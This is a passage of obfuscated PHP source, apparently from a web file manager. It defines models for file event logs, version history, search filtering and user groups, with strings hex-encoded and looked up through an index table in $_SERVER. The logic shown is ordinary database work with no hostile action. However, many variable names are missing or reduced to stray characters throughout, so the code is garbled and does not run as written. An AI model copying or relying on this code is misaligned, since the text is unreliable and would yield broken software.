"\151\x6e\163\x65\x72\164\x2c\x75\x70\x64\x61\164\x65\54\x73\x65\x6c\x65\143\x74", "\x6a\163\x6f\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $ۀ, $ = '') { $乴 =& $_SERVER[]; if (!$this->eventSave) { return; } $֛ = Model($乴[1312])->sourceInfo($); if (!$֛) { return !1; } if ($this->isCacheEvent($֛, $ۀ)) { return; } if ($ && is_string($)) { $ = array($乴[1848] => $); } $ӀԵ = array($乴[418] => $, $乴[2022] => $֛[$乴[498]], $乴[2023] => $֛[$乴[32]], $乴[519] => !empty($֛[$乴[519]]) ? $֛[$乴[519]] : $乴[12], $乴[1633] => USER_ID, $乴[423] => $ۀ, $乴[1635] => $); $this->addSystemLog($ۀ, $ӀԵ); unset($ӀԵ[$乴[2023]], $ӀԵ[$乴[519]]); return $this->add($ӀԵ); } private function addSystemLog($׭ĉ, $ʹ) { $ړ =& $_SERVER[]; if ($׭ĉ == $ړ[2024]) { $׭ĉ = $ʹ[$ړ[451]][$ړ[2025]]; } else { if (in_array($׭ĉ, array($ړ[1790], $ړ[2026]))) { $׭ĉ = $ʹ[$ړ[451]][$ړ[748]]; } } $ = array_merge($ʹ, array($ړ[2027] => $ʹ[$ړ[403]], $ړ[2028] => $ʹ[$ړ[2028]])); Hook::trigger($ړ[2029], $ړ[2030] . $׭ĉ, $ʹ); Model($ړ[1754])->addLog($ړ[2030] . $׭ĉ, $); } private function isCacheEvent($, $ٱď) { if ($[$_SERVER[][412]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $ð) { $Ó =& $_SERVER[]; $ɧ = Model($Ó[1312])->sourceInfo($); $ޥ = array($Ó[2025] => $ð, $Ó[32] => $ɧ[$Ó[32]]); return $this->addEvent($, $Ó[2024], $ޥ); } public function eventFileEdit($ݕ) { $ƚ =& $_SERVER[]; $ = array($ƚ[2031] => $_SERVER[$ƚ[2032]], $ƚ[2033] => strtolower(ACTION)); return $this->addEvent($ݕ, $ƚ[1780], $); } public function eventRecycle($ɿ, $) { return $this->addEvent($ɿ, $_SERVER[][2026], $); } public function eventRemove($) { $ԓ =& $_SERVER[]; $ = Model($ԓ[1312])->sourceInfo($); $ڞ = $[$ԓ[32]]; return $this->addEvent($[$ԓ[498]], $ԓ[1779], $ڞ); } public function eventShare($Œ, $У) { return $this->addEvent($Œ, $_SERVER[][1790], $У); } public function eventMove($, $, $) { $ =& $_SERVER[]; $𨨒 = Model($[1312]); $Ʌ = $𨨒->sourceInfo($); $ = $𨨒->sourceInfo($); $ȏ = $𨨒->sourceInfo($); $͍ = array($[1145] => $, $[2034] => $[$[32]], $[2013] => !empty($[$[519]]) ? $[$[519]] : $[12], $[1146] => $, $[2035] => $ȏ[$[32]], $[2036] => !empty($ȏ[$[519]]) ? $ȏ[$[519]] : $[12]); $this->addEvent($, $[551], $͍); $Ʌ = $𨨒->sourceInfo($); $͍ = array($[403] => $Ʌ[$[403]], $[32] => $Ʌ[$[32]]); $this->addEvent($, $[2037], $͍); } public function eventCopy($Ů) { $this->eventCreate($Ů, $_SERVER[][549]); } public function eventRename($, $, $) { $ =& $_SERVER[]; $ = array($[1145] => $, $[1146] => $); return $this->addEvent($, $[1327], $); } public function eventAddComment($Ҭ, $) { return $this->addEvent($Ҭ, $_SERVER[][2038], $); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2039], $); } public function listBySource($) { $Չ =& $_SERVER[]; $ = Model($Չ[1312])->sourceInfo($); $܌ܚ = array($Չ[418] => $); if ($[$Չ[411]] == $Չ[89]) { $Ռ = Model($Չ[1312])->listSearchChildren($, 20000); $Ռ[] = $ . $Չ[373]; $܌ܚ = array($Չ[403] => array($Չ[7], $Ռ)); } $ = $this->where($܌ܚ)->order($Չ[2040])->selectPage(); if ($[$Չ[361]][$Չ[362]] == 0) { $[$Չ[361]][$Չ[362]] = 1; $[$Չ[364]] = array(array($Չ[418] => $, $Չ[2022] => $[$Չ[498]], $Չ[1633] => $[$Չ[452]], $Չ[423] => $Չ[2041], $Չ[424] => $[$Չ[193]], $Չ[1635] => $Չ[12])); } return $this->eventListParse($, $); } private function eventListParse($̀, $ݠ) { $ז =& $_SERVER[]; $ = $̀[$ז[364]]; $鳪 = array_to_keyvalue($, $ז[12], $ז[403]); $Ӭ = array_to_keyvalue($, $ז[12], $ז[2028]); foreach ($ as $𮣞) { $Ԥ = $𮣞[$ז[451]]; if ($𮣞[$ז[33]] == $ז[551] && isset($Ԥ[$ז[1145]])) { $鳪[] = $Ԥ[$ז[1145]] . $ז[12]; $鳪[] = $Ԥ[$ז[1146]] . $ז[12]; } if ($𮣞[$ז[33]] == $ז[2037] && isset($Ԥ[$ז[403]])) { $鳪[] = $Ԥ[$ז[403]] . $ז[12]; } } $鳪 = array_merge($鳪, $Ӭ, array($ݠ . $ז[12])); $鳪 = array_unique($鳪); $ﲋ = array_unique(array_to_keyvalue($, $ז[12], $ז[1642])); $緢 = Model($ז[538])->userListInfo($ﲋ); $Ȩ = Model($ז[818])->sourceListInfo($鳪, !0); foreach ($ as &$𮣞) { if ($𮣞[$ז[33]] == $ז[551] && isset($𮣞[$ז[451]][$ז[1145]])) { $𮣞[$ז[451]][$ז[1145]] = $Ȩ[$𮣞[$ז[451]][$ז[1145]]]; $𮣞[$ז[451]][$ז[1146]] = $Ȩ[$𮣞[$ז[451]][$ז[1146]]]; } if ($𮣞[$ז[33]] == $ז[2037] && isset($𮣞[$ז[451]][$ז[403]])) { $𮣞[$ז[451]][$ז[403]] = $Ȩ[$𮣞[$ז[451]][$ז[403]]]; } $𮣞[$ז[87]] = $Ȩ[$𮣞[$ז[403]]]; $𮣞[$ז[2042]] = $Ȩ[$𮣞[$ז[2028]]]; if ($𮣞[$ז[33]] == $ז[1779]) { $𮣞[$ז[2042]] = $𮣞[$ז[87]]; $𮣞[$ז[2028]] = $𮣞[$ז[2042]][$ז[403]]; $𮣞[$ז[87]] = !1; $𮣞[$ז[403]] = $ז[12]; } $𮣞[$ז[1973]] = $緢[$𮣞[$ז[1642]]]; } unset($𮣞); $̀[$ז[364]] = $; return $̀; } public function removeBySource($) { $ = array($_SERVER[][418] => $); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\165\x72\143\145\x5f\x68\x69\163\164\x6f\162\x79"; public function historyCount($) { $檛 =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ۀ = array($檛[403], $檛[1842] => $檛[500]); $㾏ͺ = array($檛[403] => array($檛[7], $)); $̅Ρ = $this->field($ۀ)->where($㾏ͺ)->group($檛[403])->select(); return array_to_keyvalue($̅Ρ, $檛[403], $檛[500]); } public function addHistory($, $ݔ = '') { $ =& $_SERVER[]; $Ƭ = array($[418] => $[$[403]], $[1633] => isset($[$[454]]) ? $[$[454]] : $[$[452]], $[468] => $[$[467]], $[579] => $[$[80]], $[2043] => $ݔ); $ = $GLOBALS[$[6]][$[90]][$[1194]]; if ($ > 1) { $this->historyAutoClear($Ƭ[$[403]]); $this->add($Ƭ); } Hook::trigger($[2044], $Ƭ); Model($[2045])->eventFileEdit($[$[403]]); } private function historyAutoClear($ߴí) { $Ҿ =& $_SERVER[]; $ϧ = Model($Ҿ[763])->get($Ҿ[1216]); $񧗁 = $GLOBALS[$Ҿ[6]][$Ҿ[90]][$Ҿ[1194]]; $ʜ = $ϧ == $Ҿ[1217] ? 5 : $񧗁; if ($񧗁 <= 1) { $ʜ = 1; } if ($ʜ >= 500) { return; } $Ê = array($Ҿ[418] => $ߴí); $ = $this->field($Ҿ[2046])->where($Ê)->order($Ҿ[2040])->select(); if (!$ || $ʜ >= count($)) { return; } $ܞ = array_to_keyvalue($, $Ҿ[12], $Ҿ[401]); $ܞ = array_slice($ܞ, $ʜ); $ = array_to_keyvalue($, $Ҿ[12], $Ҿ[467]); $ = array_slice($, $ʜ); if (!$ܞ || !$) { return; } $Ê = array($Ҿ[420] => array($Ҿ[7], $ܞ)); $this->where($Ê)->delete(); Model($Ҿ[470])->remove($); } public function listData($ԣ) { $ת =& $_SERVER[]; $‚ = array($ת[418] => $ԣ); $ɥО = $ת[2047]; $Ɂ = $this->field($ɥО)->where($‚)->order($ת[2040])->selectPage(); $this->_listAppendUser($Ɂ[$ת[364]]); $Ϲϳ = Model($ת[763])->get($ת[1216]); $؟ҋ = 5; if ($Ϲϳ == $ת[1217]) { $Ɂ[$ת[364]] = array_slice($Ɂ[$ת[364]], 0, $؟ҋ); $Ɂ[$ת[361]] = array($ת[2048] => 1, $ת[2049] => 20, $ת[2050] => 1, $ת[2051] => count($Ɂ[$ת[364]])); } return $Ɂ; } protected function _listAppendUser(&$̌) { $ =& $_SERVER[]; $䍖ʖ = array_to_keyvalue($̌, $[12], $[1642]); $ = Model($[538])->userListInfo($䍖ʖ); foreach ($̌ as &$) { $ = $[$[1642]]; $[$[452]] = $[$] ? $[$] : !1; } unset($); } public function fileInfo($ә) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ن = "{$}\x69\157\137\146\x69\154\x65\x20\x66\151\154\145\163\x20\157\x6e\x20\x66\151\x6c\x65\163\56\146\x69\154\145\111\x44\x20\x3d\40\x68\x69\x73\x74\157\162\171\x2e\x66\151\x6c\x65\111\104"; return $this->alias($[2052])->where(array($[420] => $ә))->join($ن, $[2053])->find(); } public function removeItem($а) { $̙ =& $_SERVER[]; $ = array($̙[420] => $а); $ް = $this->where($)->find(); if ($ް) { $Ƹ = $this->where($)->delete(); Model($̙[470])->remove($ް[$̙[467]]); return $Ƹ; } return !1; } public function removeBySource($٪) { $„ =& $_SERVER[]; if (!$٪) { return !1; } if (!is_array($٪)) { $٪ = array($٪); } $ؙ = array($„[418] => array($„[7], $٪)); $検 = $this->field($„[468])->where($ؙ)->select(); if ($検) { $this->where($ؙ)->delete(); $ = array_to_keyvalue($検, $„[12], $„[467]); Model($„[470])->remove($); } return !0; } public function setDetail($ʅĵ, $Ξ) { $ =& $_SERVER[]; return $this->where(array($[420] => $ʅĵ))->save(array($[2043] => $Ξ)); } public function rollbackToItem($׵, $Ė) { $̟ =& $_SERVER[]; $ = Model($̟[818])->sourceInfo($׵); $this->addHistory($, LNG($̟[2054])); $ = $this->find($Ė); $ = array($̟[467] => $[$̟[467]], $̟[80] => $[$̟[80]], $̟[86] => time(), $̟[454] => USER_ID); Model($̟[818])->where(array($̟[403] => $׵))->save($); return $this->where(array($̟[420] => $Ė))->delete(); } public function clearSame($) { $ק =& $_SERVER[]; $ = $this->listData($); $ݚ = array_to_keyvalue_group($, $ק[467]); $ = array(); $ϱ = array(); foreach ($ݚ as $֊) { if (!$֊ || count($֊) <= 1) { continue; } foreach ($֊ as $) { $[] = $[$ק[467]]; $ϱ[] = $[$ק[401]]; } } if (!$ϱ) { return; } $this->where(array($ק[401] => array($ק[7], $ϱ)))->delete(); Model($ק[470])->remove($); } public function userSpace() { $ =& $_SERVER[]; $ǟƝ = $this->tablePrefix; $ = array($[1633] => USER_ID); $雌 = "{$ǟƝ}\151\x6f\137\146\151\x6c\x65\x20\x66\x69\154\145\x73\40\157\156\x20\146\x69\x6c\145\163\56\146\151\x6c\x65\111\x44\40\75\x20\150\151\163\x74\157\162\x79\56\146\151\x6c\x65\111\x44"; return $this->alias($[2052])->where($)->join($雌, $[2053])->sum($[80]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($׍) { $⦼ =& $_SERVER[]; $ = KodIO::fileTypeList(); $ܱ = $[$׍]; if (!$ܱ) { return array(); } $ = $ܱ[$⦼[167]]; $ϭ = $⦼[7]; if (!$ܱ[$⦼[167]]) { $䞕 = array_to_keyvalue($, $⦼[12], $⦼[167]); $ = implode($⦼[50], $䞕); $ϭ = $⦼[2055]; } $Ύ = explode($⦼[50], trim($, $⦼[50])); return array($ϭ, $Ύ); } public function listPathType($ݒ) { $Á =& $_SERVER[]; $ = $this->fileTypeWhere($ݒ); if (!$) { return array(); } $括 = array($Á[580] => SourceModel::TYPE_USER, $Á[581] => USER_ID, $Á[577] => 0, $Á[578] => $); return $this->listSource($括); } public function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[1901]]) && $[$[1901]]) { $[$[1901]] = str_replace($[379], $[2056], trim($[$[1901]])); } $Ɲ = $this->_parseSearchWhere($); $х = $Ɲ; if (!isset($Ɲ[$[431]])) { $Ɲ[$[431]] = 0; } $Ƽ = $[2057]; $鲇Ä = $Ƽ; $this->_listSearchBindPinyin($, $Ɲ, $Ƽ); $this->alias($[444])->_makeOrder(); $Ɲ = $this->parseWhereLike($Ɲ); $ = $this->distinct(!0)->field($Ƽ)->where($Ɲ)->selectPage($); $this->_listSearchFileContent($, $, $鲇Ä, $х); $this->_listSearchDesc($, $, $鲇Ä); $this->_listSearchTag($, $, $鲇Ä); $this->_listSearchGroupTag($, $, $鲇Ä); $this->_listDataApply($[$[364]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $Ҕ, $߮, $Ռ) { $ܩ깒 =& $_SERVER[]; if (!$Ҕ[$ܩ깒[1901]] || $[$ܩ깒[361]][$ܩ깒[348]] > 1) { return; } if (!isset($Ռ[$ܩ깒[32]]) || !is_array($Ҕ[$ܩ깒[467]])) { return; } $Ռ[$ܩ깒[467]] = array($ܩ깒[7], $Ҕ[$ܩ깒[467]]); unset($Ռ[$ܩ깒[32]]); unset($Ҕ[$ܩ깒[467]]); $ = $this->field($߮)->where($Ռ)->limit($ܩ깒[2058])->select(); if (!$ || count($) == 0) { return; } $[$ܩ깒[364]] = array_merge($, $[$ܩ깒[364]]); $[$ܩ깒[361]][$ܩ깒[362]] += count($); } private function _listSearchTag(&$, $, $߳ٺ) { $ε =& $_SERVER[]; if (!$[$ε[1901]] || $[$ε[361]][$ε[348]] > 1) { return; } $񣂬 = Model($ε[2059])->listData(); $ִ = array(); $ܔ = $[$ε[1901]]; foreach ($񣂬 as $Ʒ) { $ = $Ʒ[$ε[32]]; $͌ = str_replace($ε[53], $ε[12], Pinyin::get($)); if (stripos($, $ܔ) !== !1 || stripos($͌, $ܔ) !== !1) { $ִ[] = $Ʒ[$ε[401]]; } } if (!$ִ) { return; } $߶ = array($ε[427] => array($ε[7], $ִ), $ε[1642] => USER_ID); $ = Model($ε[428])->field($ε[78])->where($߶)->select(); $ = array_to_keyvalue($, $ε[12], $ε[78]); $ = array_unique($); $this->_listSearchMerge($, $, $߳ٺ, $); } private function _listSearchDesc(&$ԣ, $멤, $啃ܣ) { $ķ =& $_SERVER[]; if (!$멤[$ķ[1901]] || $ԣ[$ķ[361]][$ķ[348]] > 1) { return; } $ = $this->listSearchChildren($멤[$ķ[498]]); $ = array_unique($); if (!$) { return; } $ѱ = array($ķ[403] => array($ķ[7], $), $ķ[95] => $ķ[451], $ķ[369] => array($ķ[378], $ķ[1903] . $멤[$ķ[1901]] . $ķ[1903])); $Ŷ = Model($ķ[563])->field($ķ[403])->where($ѱ)->select(); $ = array_to_keyvalue($Ŷ, $ķ[12], $ķ[403]); $this->_listSearchMerge($ԣ, $멤, $啃ܣ, $); } private function _listSearchGroupTag(&$Ֆ, $, $߈) { $ѹ =& $_SERVER[]; if (!$[$ѹ[1901]] || $Ֆ[$ѹ[361]][$ѹ[348]] > 1 || !$[$ѹ[498]]) { return; } $׬ = $this->sourceInfo($[$ѹ[498]]); if (!$׬ || $׬[$ѹ[412]] != SourceModel::TYPE_GROUP) { return; } $ְ = $׬[$ѹ[504]]; $⻋ = Model($ѹ[2060])->get($ְ); $׿ = array(); $ = $[$ѹ[1901]]; foreach ($⻋[$ѹ[364]] as $) { $ϡ = $[$ѹ[32]]; $鞳 = str_replace($ѹ[53], $ѹ[12], Pinyin::get($ϡ)); if (stripos($ϡ, $) !== !1 || stripos($鞳, $) !== !1) { $׿[] = $[$ѹ[401]]; } } if (!$׿) { return; } $ = array($ѹ[427] => array($ѹ[7], $׿), $ѹ[1642] => 0, $ѹ[33] => $ѹ[1923] . $ְ); $ = Model($ѹ[428])->field($ѹ[78])->where($)->select(); $ = array_to_keyvalue($, $ѹ[12], $ѹ[78]); $К = array_unique($); $this->_listSearchMerge($Ֆ, $, $߈, $К); } private function _listSearchMerge(&$, $̤, $, $䃊) { $ߺ =& $_SERVER[]; if (!$䃊) { return; } $ = array_to_keyvalue($[$ߺ[364]], $ߺ[12], $ߺ[403]); $ = array_diff($䃊, $); if (!$) { return; } $֪ = array($ߺ[403] => array($ߺ[7], $)); $焼Џ = $this->field($)->where($֪)->select(); if (!$焼Џ) { return; } $Σ = array(); foreach ($焼Џ as $) { if ($this->_listSearchFilter($, $̤)) { $Σ[] = $; } } $[$ߺ[364]] = array_merge($Σ, $[$ߺ[364]]); $[$ߺ[361]][$ߺ[362]] += count($Σ); } private function _listSearchFilter($, $Ɔ) { $ۗΠ =& $_SERVER[]; $ = $[$ۗΠ[411]] == $ۗΠ[89]; if (!strstr($[$ۗΠ[521]], $ۗΠ[50] . $Ɔ[$ۗΠ[498]] . $ۗΠ[50])) { return !1; } if (isset($Ɔ[$ۗΠ[413]]) && $Ɔ[$ۗΠ[413]] != $ۗΠ[1864]) { if ($Ɔ[$ۗΠ[413]] == $ۗΠ[79] && !$) { return !1; } if ($Ɔ[$ۗΠ[413]] != $ۗΠ[79] && $) { return !1; } if (!strstr($[$ۗΠ[167]], $ۗΠ[50] . $Ɔ[$ۗΠ[413]] . $ۗΠ[50])) { return !1; } } if (isset($Ɔ[$ۗΠ[2061]]) && $Ɔ[$ۗΠ[2061]] < $[$ۗΠ[80]]) { return !1; } if (isset($Ɔ[$ۗΠ[2062]]) && $Ɔ[$ۗΠ[2062]] > $[$ۗΠ[80]]) { return !1; } if (isset($Ɔ[$ۗΠ[594]]) && $Ɔ[$ۗΠ[594]] != $[$ۗΠ[454]]) { return !1; } return !0; } public function listSearchChildren($ց, $Ն = 5000) { $彨 =& $_SERVER[]; $ύ = array(); $ޅ = $this->sourceInfo($ց); $ = array($彨[521] => array($彨[378], $ޅ[$彨[521]] . $ޅ[$彨[403]] . $彨[545])); $ = $this->field($彨[80])->where($)->limit($Ն + 1)->select(); $ؖ = is_array($) ? count($) : 0; if ($ؖ > $Ն) { return $this->_listSearchChildrenNear($ց, $Ն); } $ߤ = $this->field($彨[403])->where($)->select(); $ύ = array_to_keyvalue($ߤ, $彨[12], $彨[403]); return $ύ; } private function _listSearchChildrenNear($起, $) { $ =& $_SERVER[]; $ = array(); $ = array($[498] => $起); $홻 = $this->field($[2063])->where($)->select(); $ = array_to_keyvalue(array_filter_by_field($홻, $[411], $[89]), $[12], $[403]); $ = array_merge($, array_to_keyvalue($홻, $[12], $[403])); if (!$) { return $; } $ = array($[498] => array($[7], $)); $홻 = $this->field($[2063])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($홻, $[12], $[403])); $ = array_slice($, 0, $); return $; } private function _listSearchBindPinyin($þӎ, &$ʲ, &$̈́) { $ը =& $_SERVER[]; if (!isset($þӎ[$ը[1901]]) || !$þӎ[$ը[1901]]) { return; } if (!Input::check($þӎ[$ը[1901]], $ը[313]) || strlen($þӎ[$ը[1901]]) < 2) { return; } $ = "\x4c\x45\x46\124\40\x4a\x4f\x49\x4e\40{$this->tablePrefix}\x69\x6f\137\x73\x6f\165\162\143\x65\x5f\155\145\x74\141\x20\x6d\145\164\141\40\x6f\x6e\40\x73\157\x75\x72\143\145\x2e\x73\x6f\165\162\143\145\111\x44\40\x3d\x20\x6d\x65\x74\x61\x2e\x73\157\x75\162\143\x65\x49\x44"; $ = array(); $̈́ = str_replace(array($ը[226], $ը[53], $ը[2064]), $ը[12], $̈́); $̈́ = $ը[436] . str_replace($ը[50], $ը[437], $̈́); $Ʀ = $ʲ[$ը[32]]; unset($ʲ[$ը[32]]); foreach ($ʲ as $ => $) { $[$ը[436] . $] = $; } foreach ($Ʀ as $) { $[] = array($ը[441] => $, $ը[987] => $ը[1905], array($ը[2065] => $, $ը[2066] => array($ը[7], array($ը[464], $ը[463])))); } $this->join($); $ʲ = $; } private function _parseSearchWhere($) { $⚊Ț =& $_SERVER[]; $׽ = array(); if (isset($[$⚊Ț[754]]) && $[$⚊Ț[754]]) { $׽[$⚊Ț[86]] = array($⚊Ț[2067], $[$⚊Ț[754]]); } if (isset($[$⚊Ț[496]]) && $[$⚊Ț[496]]) { $ڣӜ = array($⚊Ț[2068], $[$⚊Ț[496]]); if ($׽[$⚊Ț[86]]) { $׽[$⚊Ț[86]] = array($׽[$⚊Ț[86]], $ڣӜ, $⚊Ț[2069]); } else { $׽[$⚊Ț[86]] = $ڣӜ; } } if (isset($[$⚊Ț[2061]]) && $[$⚊Ț[2061]] > 0) { $׽[$⚊Ț[80]] = array($⚊Ț[2067], $[$⚊Ț[2061]]); } if (isset($[$⚊Ț[2062]]) && $[$⚊Ț[2062]]) { $ڣӜ = array($⚊Ț[2068], $[$⚊Ț[2062]]); if ($׽[$⚊Ț[80]]) { $׽[$⚊Ț[80]] = array($׽[$⚊Ț[80]], $ڣӜ, $⚊Ț[2069]); } else { $׽[$⚊Ț[80]] = $ڣӜ; } } if (isset($[$⚊Ț[594]]) && $[$⚊Ț[594]]) { $׽[] = array($⚊Ț[454] => $[$⚊Ț[594]], $⚊Ț[452] => $[$⚊Ț[594]], $⚊Ț[987] => $⚊Ț[1905]); } if (isset($[$⚊Ț[413]]) && $[$⚊Ț[413]]) { $창 = $[$⚊Ț[413]]; if ($창 == $⚊Ț[79]) { $׽[$⚊Ț[411]] = 1; } else { if ($창 == $⚊Ț[2070]) { $׽[$⚊Ț[411]] = 0; } else { if ($창) { $창 = is_array($창) ? $창 : explode($⚊Ț[50], $창); $׽[$⚊Ț[413]] = array($⚊Ț[419], $창); $׽[$⚊Ț[411]] = 0; } } } } $this->_parseSearchParent($, $׽); if (isset($[$⚊Ț[1901]]) && trim($[$⚊Ț[1901]])) { $ = trim($[$⚊Ț[1901]]); $ؒ = explode($⚊Ț[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $⚊Ț[117] && substr($, -1) == $⚊Ț[117]) || substr($, 0, 1) == $⚊Ț[58] && substr($, -1) == $⚊Ț[58]) { $ = substr($, 1, -1); $ؒ = array($); } $׽[$⚊Ț[32]] = array(array($⚊Ț[544], $⚊Ț[1903] . $ . $⚊Ț[1903])); if (count($ؒ) > 1) { $׽[$⚊Ț[32]] = array(); foreach ($ؒ as $) { if (!trim($)) { continue; } $׽[$⚊Ț[32]][] = array($⚊Ț[544], $⚊Ț[1903] . trim($) . $⚊Ț[1903]); } } } return $׽; } private function _parseSearchParent($Ń, &$) { $𭆥 =& $_SERVER[]; if (!isset($Ń[$𭆥[498]]) || !$Ń[$𭆥[498]]) { return; } $ = $this->pathInfo($Ń[$𭆥[498]]); $钓 = $[$𭆥[498]] . $𭆥[12] === $𭆥[190]; $ԑ = $[$𭆥[412]] == $𭆥[515]; $[$𭆥[584]] = array($𭆥[544], $[$𭆥[521]] . $Ń[$𭆥[498]] . $𭆥[545]); $ = isset($Ń[$𭆥[1769]]) && in_array($𭆥[515], $Ń[$𭆥[1769]]); if (!$ || !$ԑ || !$钓 || !$[$𭆥[414]]) { return; } if (!AuthModel::authCheckRoot($[$𭆥[414]][$𭆥[415]])) { return; } $ϲ = $[$𭆥[504]] . $𭆥[12]; if ($ϲ == $𭆥[89]) { unset($[$𭆥[584]]); $[$𭆥[412]] = self::TYPE_GROUP; return; } $ = Model($𭆥[522])->groupChildrenAll($ϲ); $܅ = count($); if ($܅ <= 1) { return; } $ = array($𭆥[498] => 0, $𭆥[412] => self::TYPE_GROUP, $𭆥[504] => array($𭆥[7], $)); $ = $this->field($𭆥[2071])->where($)->limit($܅)->select(); $[$𭆥[584]] = array(); foreach ($ as $) { $[$𭆥[584]][] = array($𭆥[544], $𭆥[531] . $[$𭆥[403]] . $𭆥[545]); } $[$𭆥[584]][] = $𭆥[1905]; } } goto A; e: class GroupModel extends ModelBase { protected $tableName = "\x67\x72\157\165\160"; protected $tableMeta = array("\164\x61\142\x6c\x65\x4e\x61\155\x65" => "\147\162\157\x75\x70\137\155\x65\x74\141", "\155\x65\x74\141\106\151\x65\154\144" => "\147\162\x6f\x75\x70\x49\104"); protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1887] => array($[0], $[1888]), $[1889] => array($[0], $[1890])); } protected function getInfo($, $笽 = false) { $ݫ = $this->getInfoSimple($); if (!$ݫ) { return !1; } if ($笽) { return $this->_listDataApplyItem($ݫ); } return $this->cacheFunctionGet($_SERVER[][1891], $); } protected function getInfoSimple($˹, $ = false) { $ =& $_SERVER[]; if ($) { $ = array($[1810] => intval($˹)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[1892], $˹); } protected function groupAdd($Ճ) { $ێ =& $_SERVER[]; if (!$Ճ[$ێ[498]] && isset($Ճ[$ێ[1810]]) && $Ճ[$ێ[1810]] == 1) { if ($ص = $this->getInfoSimple($Ճ[$ێ[1810]], !0)) { return $Ճ[$ێ[1810]]; } } else { $ص = $this->getInfoSimple($Ճ[$ێ[498]]); if (!$ص) { return !1; } } $Ҟл = $ێ[531]; if ($ص[$ێ[521]]) { $Ҟл = $ص[$ێ[521]] . $ص[$ێ[1810]] . $ێ[50]; } $ = array($ێ[421] => $this->groupNameAuto($Ճ[$ێ[498]], $Ճ[$ێ[32]]), $ێ[402] => $Ճ[$ێ[498]], $ێ[584] => $Ҟл, $ێ[1893] => $Ճ[$ێ[1797]], $ێ[1894] => 0, $ێ[1814] => 0); if (isset($Ճ[$ێ[1833]])) { $[$ێ[1833]] = $Ճ[$ێ[1833]]; } else { $馆 = $this->max($ێ[1833]); if (!$馆) { $馆 = 0; } $[$ێ[1833]] = $馆 + 1; } if (!empty($Ճ[$ێ[1810]])) { $[$ێ[1810]] = $Ճ[$ێ[1810]]; } $ܫ = $this->add($); $this->setNamePinyin($ܫ, $[$ێ[32]]); if (isset($Ճ[$ێ[1895]])) { $this->metaSet($ܫ, array($ێ[1895] => $Ճ[$ێ[1895]], $ێ[1896] => $Ճ[$ێ[1896]])); unset($Ճ[$ێ[1895]]); unset($Ճ[$ێ[1896]]); } Model($ێ[1312])->groupRootAdd($ܫ); return $ܫ; } protected function groupEdit($, $ؒ) { $հ =& $_SERVER[]; $Ǎ = $this->getInfoSimple($); if (!$Ǎ) { return !1; } if (!empty($ؒ[$հ[498]])) { $ = $this->getInfoSimple($ؒ[$հ[498]]); if (!$) { return !1; } if ($Ǎ[$հ[1810]] == $[$հ[1810]]) { return !1; } if ($ؒ[$հ[498]] != $Ǎ[$հ[498]]) { if ($[$հ[521]] !== $Ǎ[$հ[521]] && strpos($[$հ[521]], $Ǎ[$հ[521]] . $Ǎ[$հ[1810]] . $հ[50]) === 0) { return !1; } $ؒ[$հ[584]] = $[$հ[521]] . $ؒ[$հ[498]] . $հ[50]; $this->_changeChildLevel($Ǎ, $); } } if (isset($ؒ[$հ[32]])) { $this->setNamePinyin($, $ؒ[$հ[32]]); } if (isset($ؒ[$հ[1895]])) { $this->metaSet($, array($հ[1895] => $ؒ[$հ[1895]], $հ[1896] => $ؒ[$հ[1896]])); unset($ؒ[$հ[1895]]); unset($ؒ[$հ[1896]]); } $this->_clearChildrenCache($Ǎ); return $this->where(array($հ[1897] => $))->save($ؒ); } private function _clearChildrenCache($) { $ =& $_SERVER[]; $̓ = array($[584] => array($[544], $[$[521]] . $[$[1810]] . $[545])); $يȪ = $this->field($[1810])->where($̓)->select(); foreach ($يȪ as $) { $this->_clearCache($[$[1810]]); } } private function _clearCache($) { $ۡ֠ =& $_SERVER[]; $this->cacheFunctionClear($ۡ֠[1891], $); $this->cacheFunctionClear($ۡ֠[1892], $); } private function _changeChildLevel($ޝ™, $ϼ, $ʊ = false) { $ۀ =& $_SERVER[]; $ = $ޝ™[$ۀ[521]] . $ޝ™[$ۀ[1810]] . $ۀ[50]; $ = $ϼ[$ۀ[521]] . $ϼ[$ۀ[1810]] . $ۀ[50] . $ޝ™[$ۀ[1810]] . $ۀ[50]; if ($ʊ) { $ = $ϼ[$ۀ[521]] . $ϼ[$ۀ[1810]] . $ۀ[50]; } $ = array($ۀ[584] => array($ۀ[544], $ޝ™[$ۀ[521]] . $ޝ™[$ۀ[1810]] . $ۀ[545])); $ = array($ۀ[584] => array($ۀ[593], "\162\145\160\154\141\143\145\50\160\141\x72\145\x6e\164\x4c\145\166\x65\154\54\47{$}\47\54\47{$}\x27\x29")); $this->_clearChildrenCache($ޝ™); $this->where($)->data($)->save(); } public function setNamePinyin($и֮, $Ґ = false) { $ =& $_SERVER[]; if (!$Ґ) { $ۦ = $this->getInfoSimple($и֮); $Ґ = $ۦ[$[32]]; } if (!Input::check($Ґ, $[587])) { $this->metaSet($и֮, $[464], null); $this->metaSet($и֮, $[463], null); return; } $Ί = array($[464] => str_replace($[53], $[12], Pinyin::get($Ґ)), $[463] => Pinyin::get($Ґ, $[588])); $this->metaSet($и֮, $Ί); } protected function groupStatus($òĻ, $˴) { $Ƃ =& $_SERVER[]; $Ď = $this->getInfoSimple($òĻ); if (!$Ď) { return !1; } if ($˴ == $Ƃ[89]) { $ʹ = $this->parentLevelArray($Ď[$Ƃ[521]]); } else { $ = array($Ƃ[584] => array($Ƃ[544], $Ď[$Ƃ[521]] . $Ď[$Ƃ[1810]] . $Ƃ[545])); $ʹ = $this->where($)->field($Ƃ[1810])->select(); $ʹ = array_to_keyvalue($ʹ, $Ƃ[12], $Ƃ[1810]); } $ʹ[] = $Ď[$Ƃ[1810]]; $đ = array(); foreach ($ʹ as $òĻ) { $đ[] = array($Ƃ[1810] => 